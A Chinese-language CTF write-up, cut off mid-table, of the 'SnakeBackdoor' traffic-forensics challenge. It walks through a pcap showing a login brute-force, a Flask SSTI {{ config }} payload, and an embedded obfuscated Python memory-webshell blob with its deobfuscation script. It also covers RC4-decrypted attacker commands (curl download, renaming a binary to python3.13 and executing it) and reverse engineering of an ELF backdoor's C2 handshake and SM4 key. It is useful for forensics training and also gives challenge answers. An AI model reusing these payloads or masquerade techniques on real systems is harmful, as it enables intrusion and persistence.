流量分析_SnakeBackdoor-1~6

声明:流量分析是一个大题,包含SnakeBackdoor-1~6,因为篇幅原因,暂时先逐题解析,整理完所有内容后再整合在一起。

SnakeBackdoor-1

题目内容提示了我们整个流量分析需要做的事情,这是一个"流量取证 + 恶意代码分析"题目。不仅考察从海量流量中找到漏洞利用相关数据包的能力,还要求具备后渗透阶段的取证能力,包括木马样本提取、逆向分析通信协议以及系统持久化机制的排查。

文件下载下来是一个attack.pcap,已经进行资源绑定,可以在文章顶部下载。

题目1要求我们找到攻击者爆破成功的后台密码,解题思路如下:

bash 复制代码
1、锁定目标:找到爆破行为发生的数据流(通常是大量的HTTP POST请求)。

2、寻找异常:在一堆"失败"的响应中,找到那个"长得不一样"的响应包通常是响应包长度不同,或者是状态码变成了302跳转。

3、溯源请求:找到这个异常响应对应的请求包,查看里面的密码参数。

1、锁定目标:在海量数据流找到爆破行为的数据流

在wireshark过滤器中输入http.request.method=="POST,过滤出http的POST请求

可以看到,过滤的数据包响应长度几乎差不多,符合我们预期的爆破行为的特征

随便选择几个数据包,右键追踪流=>TCP流

发现里面有账号和密码的请求,且一直改变,更加确认这是在进行账号密码爆破

2、寻找异常:响应长度突变即爆破成功的地方

在这里发现响应长度突然从793跳变到5369

并且在这之前紧挨着的login的POST请求中,追踪流=>TCP流可以看到状态码从200跳转到302

3、溯源请求:在登录成功的数据包中找到登录账户和密码

所以最后一次的login请求即为爆破成功的数据包

右键追踪流=>TCP流,数据包中的账号密码是正确的账号密码

得到flag为flag{zxcvbnm123}

SnakeBackdoor-2

这道题涉及Flask 框架 最常见的安全问题:SSTI(服务端模板注入) 或 信息泄露。

在 Flask 应用中,SECRET_KEY 是用于签名 Session 的核心密钥。如果攻击者利用漏洞(通常是 SSTI)读取了 Flask 的全局配置对象 config,就能拿到这个密钥。

bash 复制代码
解题思路如下:

1、理解攻击原理:

(1)攻击者通常会利用模板注入漏洞,发送类似{{config}}、{{config.items()}}或{{self.__dict__}} 这样的Payload。服务器如果存在漏洞,会把当前的配置信息(包含SECRET_KEY)直接打印在HTTP响应包中。

(2)或者攻击者可能通过LFI(本地文件包含)读取了app.py或config.py源码。

2、搜索策略:

(1)直接在流量包中搜索特征字符串"SECRET_KEY"。这是最快的方法,因为无论是攻击者尝试读取它,还是服务器返回它,这个字符串出现的概率极高。

(2)搜索SSTI的特征字符,如 {{(在 URL 中可能是%7B%7B)。

数据包还是题目一中的attack.pcap流量包

打开pcap流量包,使用**http contains "SECRET_KEY"**命令,过滤出http数据包,并且包含我们想要的SECRET_KEY字符

过滤出一个数据包,右键追踪流=>TCP流

在POST请求体中,攻击者提交了参数:preview_content={{ config }}。这是一个典型的 Flask/Jinja2 模板注入Payload,意图是让服务器渲染并打印出全局config对象。

服务器执行了该指令,并在响应体的<div>标签中回显了配置字典。

其中& #39; 是HTML实体编码的单引号 ',提取可以看到 'SECRET_KEY': 'c6242af0-6891-4510-8432-e1cdf051f160'。

最后得到flag{c6242af0-6891-4510-8432-e1cdf051f160}

SnakeBackdoor-3

在SnakeBackdoor-2中确认了是 Flask SSTI 漏洞,那么攻击者植入木马(通常是 Webshell 或内存马)的方式一般是构造了一个恶意的 SSTI Payload。

bash 复制代码
解题核心思路:

1、定位攻击包: 在发现 {{ config }} 嗅探成功的流量之后,寻找 payload 最长、最复杂的 HTTP POST 请求。

2、提取 Payload: 攻击者为了绕过 WAF 或避免编码错误,通常会将核心 Python 代码进行 Base64 编码。你需要提取这串 Base64。

3、解码还原代码: 将提取出的 Base64 字符串解码,还原成明文的 Python 脚本。

4、代码审计: 在这段 Python 脚本中,寻找加密函数(如 AES, XOR)的初始化部分,里面的字符串参数就是Key。

(1)定位植入木马的数据包

攻击者通常在确认漏洞存在后(上一题的步骤),紧接着就会发送 Exp。继续使用 http.request.method == "POST"过滤数据包

寻找 payload 最长、最复杂的 HTTP POST 请求,这个一般是发送攻击请求的数据包。

在数据包中看到一个5369的数据包,并且经过题目2中分析,这个数据包是在攻击者爆破账号密码后成功登录访问网页的数据包,极有可能是成功登录后上传木马的数据包。

选择最长的数据包,右键追踪流=>TCP流

(2)提取并解码 Payload

提取出数据包中的payload,进行base64解码

base64解码后的代码还是一串复杂的编码

由解码出的头部信息可以知道,攻击者定义了一个匿名函数 _,它的逻辑是:

将输入的字符串倒序 -> Base64 解码 -> Zlib 解压

"_ = lambda __ : import('zlib').decompress(import('base64').b64decode(__[::-1]));"

并且可以知道代码执行了 exec((_)(b'=c4CU3xP...VndKZ')),这个就是加密后的木马本体。

(3)编写脚本解码,获取源码

bash 复制代码
编写解码脚本思路:

1、字符串反转 ([::-1]):把字符串倒过来。

2、Base64 解码 (b64decode):将倒序后的字符串进行 Base64 解码。

3、Zlib 解压 (decompress):将解码后的二进制数据进行解压,得到原始代码。

将解码后的字符串提取出来

python 复制代码
import base64
import zlib
import re
import os
import binascii

# Embedded Payload (extracted from original challenge)
PAYLOAD = b'=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'

def decrypt_layer(data):
    """
    解密单层逻辑:
    1. 清理空白字符
    2. 字符串逆序 (Reverse)
    3. Base64 解码
    4. Zlib 解压缩
    """
    # 清理可能存在的换行和空格
    data = data.replace(b'\n', b'').replace(b'\r', b'').replace(b' ', b'')
    
    # 逆序
    reversed_data = data[::-1]
    
    # Base64 解码
    try:
        b64_decoded = base64.b64decode(reversed_data)
    except Exception as e:
        raise ValueError(f"Base64 decode failed: {e}")
    
    # Zlib 解压
    try:
        decompressed = zlib.decompress(b64_decoded)
    except Exception as e:
        # 尝试跳过头部或使用 raw deflate
        try:
            decompressed = zlib.decompress(b64_decoded, -15)
        except:
            raise ValueError(f"Zlib decompress failed: {e}")
            
    return decompressed

def analyze_final_code(code_str):
    """分析最终解密出的代码,提取 Key 和 Token"""
    print("\n" + "="*50)
    print("【最终代码分析 / Final Code Analysis】")
    print("="*50)
    
    print(code_str)
    print("="*50 + "\n")

    # 简单的特征提取
    lines = code_str.split('\n')
    for line in lines:
        line = line.strip()
        if "RC4_SECRET" in line or "key" in line.lower():
            print(f"[+] Found Key info: {line}")
        if "X-Token-Auth" in line:
            print(f"[+] Found Auth Token: {line}")

def main():
    print(f"[*] 开始解密内嵌 Payload")
    print(f"[+] 初始 Payload 长度: {len(PAYLOAD)}")
    
    current_payload = PAYLOAD
    layer_count = 0
    
    while True:
        layer_count += 1
        print(f"[*] 正在解密第 {layer_count} 层...", end='\r')
        
        try:
            # 解密当前层
            decrypted_bytes = decrypt_layer(current_payload)
            decrypted_code = decrypted_bytes.decode('utf-8')
            
            # 检查是否有下一层嵌套
            # 模式: exec((_)(b'...'))
            match = re.search(r"exec\(\(_\)\(b'(.+?)'\)\)", decrypted_code)
            
            if match:
                # 提取下一层的 payload,继续循环
                current_payload = match.group(1).encode('utf-8')
            else:
                # 没有匹配到 exec((_)(b'...')),说明到达最后一层
                print(f"\n[+] 解密完成!共解开 {layer_count} 层嵌套。")
                analyze_final_code(decrypted_code)
                break
                
        except Exception as e:
            print(f"\n[-] 在第 {layer_count} 层解密失败: {e}")
            break

if __name__ == "__main__":
    main()

(4)运行代码,输出结果

运行代码脚本成功执行,递归剥离了 32 层 复杂的嵌套混淆(倒序+Base64+Zlib),最终还原出了隐藏在最底层的 Python 内存马源代码。

从源码中可以清晰地看到该后门利用 Flask 框架的 404 错误处理进行挂钩(Hook),使用 RC4 算法加密通信流量,并直接暴露了关键的加密密钥 (v1p3r_5tr1k3_k3y) 和连接认证 Token (3011aa2...)。

最终结果为flag{v1p3r_5tr1k3_k3y}

SnakeBackdoor-4

题目4提示上传了一个二进制后门,要求我们找到木马进程执行的本体文件名称。

在SnakeBackdoor-2~3中已经拿到了核心密钥 RC4_SECRET = b'v1p3r_5tr1k3_k3y',这道题的本质就是利用密钥解密流量,还原攻击者的操作记录。

攻击者上传并执行二进制木马通常有两种方式:

(1)通过 HTTP 上传: 利用 wget / curl 下载,或者利用网页原本的上传功能。

(2)**通过 Shell 命令写入:**利用 echo <hex/base64> > /tmp/ma 写入,然后 chmod +x 赋予权限并执行。

关于判断使用哪种上传方式,可以按照流程试一下,进行快速排除。 但是正确的也无法绕过的方法,还是定位到攻击发生的地方,仔细分析数据包的行为。

1、通过HTTP上传------搜索二进制文件头(虽然本题不是这个方法,但还是过一下流程)

如果攻击者是通过上传接口或者未加密的流传输的文件,可以直接在 Wireshark 中搜索 ELF 文件头(7f 45 4c 46)

bash 复制代码
解题思路:利用二进制文件头特征

1、打开搜索栏: 按 Ctrl + F

2、设置搜索模式:
    (1)左侧选择:Packet bytes(分组字节流)
    (2)中间选择:Hex Value(十六进制值)
    (3)输入框:7f 45 4c 46 (这是 Linux ELF 可执行文件的"魔术字节",相当于文件的指纹)
    (4)查找: 点击 Find

3、分析结果:
    (1)如果找到了某个 POST 请求包含了这串字节,说明这就是上传木马的数据包
    (2)右键 -> Follow -> TCP/HTTP Stream
    (3)查看请求头中的 Content-Disposition: form-data; name="file"; filename="这里就是文件名"
    (4)或者查看该数据包的前后文,寻找写入的文件名

过滤出http的POST请求数据包,ctrl+F,设置分组字节流和十六进制,输入文件头二进制特征7f 45 4c 46进行搜索。

因为本题不是通过http直接上传,所以没有结果。

2、通过 Shell 命令写入------ 利用密钥解密流量,还原攻击者的操作记录

bash 复制代码
解题思路:

1、锁定流量:
    重点关注HTTP POST请求,特别是访问木马路径的流量(特征是包含X-Token-Auth头或data参数)

2、解密指令:
    (1)攻击者执行二进制文件必须发送Shell指令
    (2)如果通信是加密的,我们需要提取data参数的值,使用SnakeBackdoor-2~3中拿到的 Key 进行 RC4 解密

3、在解密后的明文中,寻找关键字:
    (1)chmod +x (赋予执行权限,二进制文件运行前的必经步骤)
    (2)./(执行当前目录下的文件)
    (3)/tmp/(攻击者常用的临时目录)

过滤出http的POST请求,回顾之前分析的请求数据包的行为

长度为5369的数据包是上传木马的请求,后面应该是对木马文件的具体操作,选一个数据包追踪流=>TCP流,分析数据包内容

可以看到上传的参数是加密的data参数,并且后面几个数据包都是上传的data参数

符合通过 Shell 命令写入的特征,所以我们现在需要提取出这些加密的操作data参数,然后使用之前获取的RC4秘钥RC4_SECRET = b'v1p3r_5tr1k3_k3y'进行RC4解密。

构造payload,将提取出加密的data使用RC4_SECRET = b'v1p3r_5tr1k3_k3y'秘钥,进行RC4解密

python 复制代码
import binascii

# ================= 配置区域 =================
# 1. 设置密钥 (来自上一题提取的源码)
RC4_SECRET = b'v1p3r_5tr1k3_k3y'

# 2. 设置你提取出来的加密 Data 列表 (已按你提供的顺序填好)
encrypted_list = [
    "a6bc",
    "a3ab330fb285",
    "acad614ef3d82c8445d275713899f04d0d3819fc3726cf57634b189e0e95cc1f93e57656105246251f453a8396a43a6534",
    "bab6694ba3c938e64b8d257b7cccee460f6347f4363ed21c300c099f129b99028eb57408024e1c32061a",
    "a2ae330da7846599188b26257a88f10b50790cb47e6a97177e1053c351",
    "acb07e4db7c93ece4bcc37246687ae0649614caa3430ce4b",
    "e0ac7e52fc996cc2038c2d7a3899ed"
]

# ================= 核心函数 =================
def rc4_crypt(data: bytes, key: bytes) -> bytes:
    """RC4 加密/解密算法 (与木马内部逻辑一致)"""
    S = list(range(256))
    j = 0
    # KSA (Key-scheduling algorithm)
    for i in range(256):
        j = (j + S[i] + key[i % len(key)]) % 256
        S[i], S[j] = S[j], S[i]
    
    # PRGA (Pseudo-random generation algorithm)
    i = j = 0
    res = bytearray()
    for char in data:
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]
        res.append(char ^ S[(S[i] + S[j]) % 256])
    return bytes(res)

# ================= 执行逻辑 =================
print(f"[*] 使用密钥: {RC4_SECRET.decode()}\n")
print("-" * 60)
print(f"{'序号':<5} | {'原始Hex (前10位)':<15} | {'解密结果 (执行的指令)':<30}")
print("-" * 60)

for idx, hex_data in enumerate(encrypted_list):
    try:
        # 1. 十六进制解码
        enc_bytes = binascii.unhexlify(hex_data.strip())
        
        # 2. RC4 解密
        dec_bytes = rc4_crypt(enc_bytes, RC4_SECRET)
        
        # 3. 尝试转为字符串
        try:
            dec_str = dec_bytes.decode('utf-8')
        except UnicodeDecodeError:
            dec_str = f"[非文本数据] {dec_bytes}"

        # 4. 打印结果
        print(f"{idx+1:<5} | {hex_data[:10]:<15} | \033[1;32m{dec_str}\033[0m")
        
    except Exception as e:
        print(f"{idx+1:<5} | {hex_data[:10]:<15} | [解密错误] {e}")

print("-" * 60)

解密出来,得到详细的shell操作命令

bash 复制代码
根据解密出的操作记录,攻击者植入并启动后门的过程如下:
 (1)攻击者首先通过执行 id 和 ls -al 命令进行了基础的系统侦察,确认了当前用户权限及目录环境
 (2)接着,攻击者利用 curl 从远程服务器下载了加密压缩包 shell.zip,并使用密码 nf2jd092jd01 将其解压到了 /tmp 目录下
 (3)为了隐藏行踪,攻击者将解压出来的名为 shell 的文件重命名为 python3.13,试图将其伪装成合法的 Python 进程
 (4)最后,攻击者赋予了该文件可执行权限,并直接运行 /tmp/python3.13 启动了二进制木马

根据此过程,题目 4 的最终答案(木马进程执行的本体文件名)为: flag{python3.13}

SnakeBackdoor-5

根据题目5的要求分析,这题涉及流量文件提取二进制逆向分析

基于之前的分析,我们已经知道攻击者下载了一个名为 shell.zip 的压缩包,并解压出了一个 ELF 二进制文件(在题目4中被重命名为 python3.13)

所以我们需要先将流量中的shell.zip文件提取出来,然后使用IDA进行逆向分析,定位网络通信函数,找到加密密钥,解题思路如下:

bash 复制代码
解题思路:
1、提取样本:从 Wireshark 流量中将 shell.zip 提取出来。

2、解压样本:使用题目 4 获得的密码 nf2jd092jd01 解压得到 ELF 文件。

3、逆向分析:使用 IDA Pro 或 Ghidra 打开 ELF 文件,定位网络通信函数,找出硬编码的加密密钥。

4、格式转换:将找到的字符串或字节流密钥转换为题目要求的小写 Hex 格式。

1、提取木马本题文件

由题目4的分析结果知道,木马本题文件为shell.zip,并且使用密码nf2jd092jd01进行了加密

在 Wireshark 过滤器栏输入:http contains "shell.zip"(或者更精准地: http.request.uri contains "shell.zip")

点击菜单栏的 File (文件) => Export Objects (导出对象) => HTTP

在弹出的列表中,在文本过滤器中搜做".zip",找到文件名为 shell.zip 的那一行(Content-Type 通常为 application/zip),保存即可

2、解密压缩包

打开shell.zip压缩包,是经过加密的,输入题目4中得出的密码nf2jd092jd01,得到里面的木马本体二进制文件

3、逆向分析加密密钥

将shell二进制文件拖进IDA中

我们需要定位到网络通信函数,先找C2 服务器通信,密钥通常硬编码在数据段中

选择import窗口,找到inet_addr,双击定位到函数,选中函数,然后按下X键

双击.got.plt,选中地址或者函数,再次按X,弹窗之后再双击_inet_addr

选中_inet_addr,一样的操作,得到main函数的流程图视图

F5反编译得到伪代码

分析代码,是一个Linux C 语言编写的后门客户端

它的核心功能是:主动连接攻击者的服务器,通过某种协商机制生成加密密钥,然后循环接收攻击者的加密指令,执行后将结果加密回传

首先网络连接初始化,负责建立与 C2 服务器的 TCP 连接,IP: "192.168.1.201" 目标端口: 0xE59E(十进制为58782)

cpp 复制代码
fd = socket(2, 1, 0);                 // 1. 创建套接字 (AF_INET=2, SOCK_STREAM=1)
  if ( fd < 0 ) exit(1);                // 创建失败则退出

  memset(&s, 48, 0x10uLL);              // 初始化 sockaddr 结构体
  s = 2;                                // 地址族 AF_INET
  v15 = inet_addr("192.168.1.201");     // 2. 目标 IP 地址
  v14 = htons(0xE59Eu);                 // 3. 目标端口

  // 4. 发起连接
  if ( connect(fd, (const struct sockaddr *)&s, 0x10u) < 0 )
  {
    close(fd);
    exit(1);
  }

连接成功后,进行密钥协商与生成,木马没有直接发送数据,而是进行了一次"握手"来生成加密通信所需的密钥

这是一个基于 "种子同步" 的弱加密方案,使用4字节的随机数种子,生成16字节的密钥

cpp 复制代码
// 1. 接收 4 字节数据 (Seed)
  if ( (unsigned int)sub_18ED((unsigned int)fd, &v7, 4LL, 0LL) != 4 ) ...

  // 2. 字节序转换 (Big-Endian 转 Little-Endian)
  seed = (*(_DWORD *)&v7 >> 8) & 0xFF00 | ... ;

  // 3. 设置随机数种子
  srand(seed);

  // 4. 生成 16 字节密钥
  for ( i = 0; i <= 3; ++i )
    *(_DWORD *)&v8[4 * i] = rand(); // v8 就是最终的 Session Key

  // 5. 初始化加密上下文 (sub_13B4 可能是 KeyExpansion)
  sub_13B4(&v10, v8, 0LL); // 初始化解密上下文 v10
  sub_13B4(&v9, v8, 1LL);  // 初始化加密上下文 v9

所以我们需要找到连接初期这 4 个字节的随机种子,然后在本地写代码模拟 srand 和 rand,从而计算出当次会话的所有加密密钥。

返回流量包,过滤出前面找到的IP和端口,在找出长度为4字节的数据包

bash 复制代码
ip.addr == 192.168.1.201 && tcp.port == 58782 && tcp.len == 4

查看数据包中的数据内容

第一个数据包中的数据Data: 34952046是我们想要的4字节随机种子

后面数据包中的数据Data: 00000010、Data: 00000030等等,正好是 AES/RC4 等加密算法的常见块大小,或者是填充后的指令长度

4、编写脚本模拟计算出密钥

编写脚本

cpp 复制代码
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>

int main() {
    // 1. 设置你在 Wireshark 里找到的种子
    // 数据包里的 hex 是 34 95 20 46,对应整数 0x34952046
    unsigned int seed = 0x34952046;
    
    printf("[*] Seed: 0x%X\n", seed);
    
    // 2. 初始化随机数生成器 (模拟木马逻辑)
    srand(seed);
    
    printf("[+] Flag: flag{");
    
    // 3. 生成 16 字节密钥 (4次 rand)
    for(int i = 0; i < 4; i++) {
        int r = rand();
        // 模拟 Python 的 struct.pack("<I", r) -> 小端序输出
        unsigned char *p = (unsigned char *)&r;
        printf("%02x%02x%02x%02x", p[0], p[1], p[2], p[3]);
    }
    
    printf("}\n");
    
    return 0;
}

可以使用在线C语言编译器:https://www.onlinegdb.com/online_c_compiler

最终得到flag{ac46fb610b313b4f32fc642d8834b456}

SnakeBackdoor-6

我们在前面的分析中已经拿到了最关键的钥匙:加密密钥。现在,我们需要利用这把钥匙,从 Wireshark 的流量中把被加密的 Flag 还原出来

根据题目描述"攻击者获取服务器中的flag",说明是受害机(运行木马的机器)执行了命令,并将 Flag 作为结果回传给了 C2 服务器(192.168.1.201)。解题思路如下:

bash 复制代码
解题思路:

1、计算密钥:用题目5从 Wireshark 流量中提取服务端发送的 4 字节随机种子(34952046),在 Linux 环境下模拟 srand 和 rand 逻辑,计算出本次会话的 16 字节会话密钥

2、逆向算法:在 IDA 中根据密钥扩展算法分析加密算法

3、提取密文:在 Wireshark 中定位受害者发往攻击者(Client -> Server)的回传数据包,去除前 4 字节的长度头,提取剩余的 Hex 密文

4、编写解密脚本:编写 Python 脚本,结合计算出的会话密钥和提取的算法参数,对密文进行解密,最终还原出 Flag
​

1、计算密钥

在题目5中我们已经从 Wireshark 流量中提取服务端发送的 4 字节随机种子(34952046),这个种子会计算出会话的 16 字节会话密钥

所以我们需要编写脚本,模拟 srand 和 rand 的逻辑计算出1616 字节会话密钥,构造脚本如下:

cpp 复制代码
#include <stdio.h>
#include <stdlib.h>

int main() {
    // 1. 填入 Wireshark 提取的种子
    unsigned int seed = 0x34952046;
    
    // 2. 初始化随机数生成器 (模拟木马行为)
    // 注意:必须在 Linux 环境编译运行 (如 OnlineGDB 选择 C 语言)
    srand(seed);
    
    printf("Session Key: ");
    
    // 3. 生成 16 字节密钥
    for(int i = 0; i < 4; i++) {
        int r = rand();
        // 模拟内存中的小端序存储
        unsigned char *p = (unsigned char *)&r;
        printf("%02x%02x%02x%02x", p[0], p[1], p[2], p[3]);
    }
    printf("\n");
    return 0;
}

计算出来,其实也就是我们题目5中计算出来的

a、提取出密钥

bash 复制代码
KEY_HEX = "ac46fb610b313b4f32fc642d8834b456"

2、IDA逆向分析会话加密算法以及算法相关参数

根据题目5在IDA中反编译出的main函数伪代码

(1)分析分组长度

根据代码行v16 = 16 * (v23 / 16 + 1); 和 memset(&s, 48, 0x10uLL); 知道分组长度, 数据被强制对齐到 16 字节(128位)。这说明使用的是 分组加密算法,且分组大小为 128 bit

候选算法:AES, SM4, Camellia, Aria 等。排除 DES(64 bit)和 RC4(流加密)

(2)分析密钥长度

由代码v8[16]; ... *(_DWORD *)&v8[4 * i] = rand();分析知道生成了 4 个 4 字节的随机数,共 16 字节(128 bit)

密钥长度为128-bit 的会话密钥

(3)分析加密模式并提取加密算法相关参数

分析知道sub_13B4(密钥扩展)和 sub_1860(加密/解密核心)

sub_1860 调用时没有传递 IV(初始化向量),且存在 Padding 填充逻辑 ,说明极有可能是 ECB 模式(电子密码本模式)

b.提取SM4算法的系统参数FK

双击进入 sub_13B4 (密钥扩展函数),是典型的 SM4 密钥扩展算法 (Key Expansion / Key Schedule)。它的作用是把输入的 128 位(16 字节)主密钥,扩展成 32 个 32 位的轮密钥

循环 4 次,异或一个常量数组 dword_2120,这个dword_2120 就是 SM4 的 系统参数 FK

双击查看 dword_2120,可以看到0A3B1BAC6h, 56AA3350h等参数,吻合SM4 的 系统参数 FK,进一步证实了是SM4算法

bash 复制代码
FK = [0xa3b1bac6, 0x56aa3350, 0x677d9197, 0xb27022dc]

c.提取SM4算法的固定参数CK

循环 32 次,每次异或一个常量数组 dword_2140,调用一个子函数 sub_1311。这个dword_2140 就是 SM4 的 固定参数 CK;sub_1311 是 线性/非线性变换函数

双击dword_2140,查看参数,吻合 SM4 算法的标准固定参数 CK

bash 复制代码
CK = [
    0x00070e15, 0x1c232a31, 0x383f464d, 0x545b6269, 0x70777e85, 0x8c939aa1, 0xa8afb6bd, 0xc4cbd2d9,
    0xe0e7eef5, 0xfc030a11, 0x181f262d, 0x343b4249, 0x50575e65, 0x6c737a81, 0x888f969d, 0xa4abb2b9,
    0xc0c7ced5, 0xdce3eaf1, 0xf8ff060d, 0x141b2229, 0x30373e45, 0x4c535a61, 0x686f767d, 0x848b9299,
    0xa0a7aeb5, 0xbcc3cad1, 0xd8dfe6ed, 0xf4fb0209, 0x10171e25, 0x2c333a41, 0x484f565d, 0x646b7279
]

d.提取SM4算法的S-Box (S盒)

根据前面的分析,sub_1311 是 线性/非线性变换函数,实现了 SM4 算法中的 S盒代换 + 线性变换

这里将 32 位输入拆成 4 个 8 位字节,然后分别传入 sub_1229,推断sub_1229 就是 S-Box 查表函数

双击 sub_1229,看待调用了byte_2020,双击查看得到了SM4 算法中的S盒

这里的S盒只保留了SM4算法标准S 盒的前几行,后面的内容修改了的

bash 复制代码
SboxTable = [
    0xD6, 0x90, 0xE9, 0xFE, 0xCC, 0xE1, 0x3D, 0xB7, 0x16, 0xB6, 0x14, 0xC2, 0x28, 0xFB, 0x2C, 0x05,
    0x2B, 0x67, 0x9A, 0x76, 0x2A, 0xBE, 0x04, 0xC3, 0xAA, 0x44, 0x13, 0x26, 0x49, 0x86, 0x06, 0x99,
    0x9C, 0x42, 0x50, 0xF4, 0x91, 0xEF, 0x98, 0x7A, 0x33, 0x54, 0x0B, 0x43, 0xED, 0xCF, 0xAC, 0x62,
    0xE4, 0xB3, 0x1C, 0xA9, 0xC9, 0x08, 0xE8, 0x95, 0x80, 0xDF, 0x94, 0xFA, 0x75, 0x8F, 0x3F, 0xA6,
    0x47, 0x07, 0xA7, 0xFC, 0xF3, 0x73, 0x17, 0xBA, 0x83, 0x59, 0x3C, 0x19, 0xE6, 0x85, 0x4F, 0xA8,
    0x68, 0x6B, 0x81, 0xB2, 0x71, 0x64, 0xDA, 0x8B, 0xF8, 0xEB, 0x0F, 0x4B, 0x70, 0x56, 0x9D, 0x35,
    0x1E, 0x24, 0x0E, 0x5E, 0x63, 0x58, 0xD1, 0xA2, 0x25, 0x22, 0x7C, 0x3B, 0x01, 0x21, 0x78, 0x87,
